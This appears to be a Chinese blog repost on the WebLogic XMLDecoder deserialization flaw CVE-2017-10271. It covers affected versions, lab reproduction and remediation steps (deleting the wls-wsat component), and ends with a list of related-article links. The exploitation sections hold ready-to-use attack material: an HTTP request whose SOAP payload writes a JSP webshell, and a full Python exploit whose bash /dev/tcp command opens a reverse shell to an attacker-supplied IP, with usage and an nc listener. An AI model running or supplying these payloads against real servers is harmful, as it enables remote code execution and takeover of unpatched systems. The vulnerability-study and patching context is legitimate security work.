当前位置: 首页 > news >正文

weblogic 反序列化 [CVE-2017-10271]

一、漏洞描述

这个漏洞是wls-wsat这个接口出了问题,Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。


二、影响版本

  • 10.3.6.0
  • 12.1.3.0.0
  • 12.2.1.1.0

三、影响组件

 Weblogic的WLS Security组件


四、漏洞判断

环境搭建

打开web services组件 

 漏洞验证

拿大佬的webshell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.116.144:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 646<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println">
<string><![CDATA[
<% out.print("webshell"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>

打开burpsuite传入 

 任意代码执行

 


五、漏洞利用

大佬的poc

import requests  # 导入 requests 库用于发送 HTTP 请求
import argparse  # 导入 argparse 库用于解析命令行参数if __name__ == '__main__':# 创建命令行参数解析器parse = argparse.ArgumentParser()# 添加目标 URL 参数parse.add_argument("url", type=str)# 添加用于反向 shell 连接的 IP 地址参数,该参数是必需的parse.add_argument("-s", "--shellIp", type=str, required=True)# 添加用于反向 shell 连接的端口号参数,该参数是必需的parse.add_argument("-p", "--port", type=str, required=True)# 解析命令行参数arguments = parse.parse_args()# 获取目标 URLurl = arguments.url# 获取用于反向 shell 连接的 IP 地址shellIp = arguments.shellIp# 获取用于反向 shell 连接的端口号dPort = arguments.port# 创建一个会话对象req = requests.session()# 设置代理,这里使用了本地的代理地址req.proxies = {'http': "http://127.0.0.1:8080", 'https': "http://127.0.0.1:8080"}# 构造 HTTP 请求头部headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0","Accept-Encoding": "gzip","Connection": "close","Content-Type": "text/xml","Content-Length": "599"}# 构造 SOAP 消息的 payloadpayload = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> <soapenv:Header>" \"<work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">" \"<java version=\"1.4.0\" class=\"java.beans.XMLDecoder\">" \"<void class=\"java.lang.ProcessBuilder\">" \"<array class=\"java.lang.String\" length=\"3\">" \"<void index=\"0\">" \"<string>/bin/bash</string>" \"</void><void index=\"1\">" \"<string>-c</string>" \"</void><void index=\"2\">" \"<string>bash -i &gt;&amp; /dev/tcp/" + shellIp + "/" + dPort + " 0&gt;&amp;1</string>" \"</void>" \"</array>" \"<void method=\"start\"/></void>" \"</java>" \"</work:WorkContext>" \"</soapenv:Header>" \"<soapenv:Body/>" \"</soapenv:Envelope>"# 发送 HTTP POST 请求,尝试利用漏洞执行远程命令执行攻击resq = req.post(url + "/wls-wsat/CoordinatorPortType", headers=headers, data=payload)# 如果返回状态码为 500,表示攻击成功if resq.status_code == 500:print("poc发送成功")print("请查看shell客户端")else:print("poc发送失败")# python CVE-2017-10271.py http://192.168.116.144:7001 -s 192.168.116.151 -p 4444

攻击机打开 nc -l -p 4444监听

运行poc 

这篇文章有反推的原理 WebLogic XMLDecoder反序列化漏洞 | 像风 (wxylyw.com)


六、漏洞修复

WebLogic没有对XML的数据进行任何的过滤,导致可以构造XML数据,反序列化任意对象,从而RCE,这也就是CVE-2017-3506产生的原因。

1、官方补丁修复

2、临时解决方案
 根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。
根据实际环境路径,删除WebLogic wls-wsat组件:
rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f   /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重启Weblogic域控制器服务:
DOMAIN_NAME/bin/stopWeblogic.sh           #停止服务
DOMAIN_NAME/bin/startManagedWebLogic.sh    #启动服务
删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面

                        
参考 https://blog.csdn.net/yumengzth/article/details/97522783

http://www.lryc.cn/news/345407.html

相关文章:

  • CoPilot 产品体验:提升 OpenNJet 的控制管理和服务提供能力
  • Leetcode 第396场周赛 问题和解法
  • OC foudation框架(上)学习
  • 【机器学习300问】83、深度学习模型在进行学习时梯度下降算法会面临哪些局部最优问题?
  • 基于springboot的校园管理系统源码数据库
  • 图形网络的自适应扩散 笔记
  • vue基础配置
  • C++基础中的存储类别
  • 【NPM】Nginx Proxy Manager 一键申请 SSL 证书,自动续期,解决阿里云SSL免费证书每3个月失效问题
  • 教你解决PUBG绝地求生游戏中闪退掉线无法重连回去的问题
  • 24 Debian如何配置Apache2(4)LAMP+phpMyAdmin部署
  • centos安装paddlespeech各种报错解决方案
  • 谈基于ATTCK框架的攻击链溯源
  • 在Ubuntu下搭建自己的以太坊私有链
  • 巩固学习4
  • Conda安装rasterio报错
  • linux安装 mysql
  • 暴力法解决最近对问题和凸包问题-实现可视化
  • [Kubernetes] Rancher 2.7.5 部署 k8s
  • 码题杯 世界警察 思想:双指针
  • drawio 网页版二次开发(1):源码下载和环境搭建
  • 算法训练Day33 |● 509. 斐波那契数 ● 70. 爬楼梯 ● 746. 使用最小花费爬楼梯
  • 【算法】滑动窗口——将x减到0的最小操作数
  • 《引爆流量获客技术》实操方法,手把手教你搭建盈利流量池
  • 【记录】常见的前端设计系统(Design System)
  • 如何使用Whisper音频合成模型
  • 网络相关笔记
  • 由C# yield return引发的思考
  • 【问题解决】EasyExcel导出数据,并将数据中的实体类url转为图片
  • winform植物大战僵尸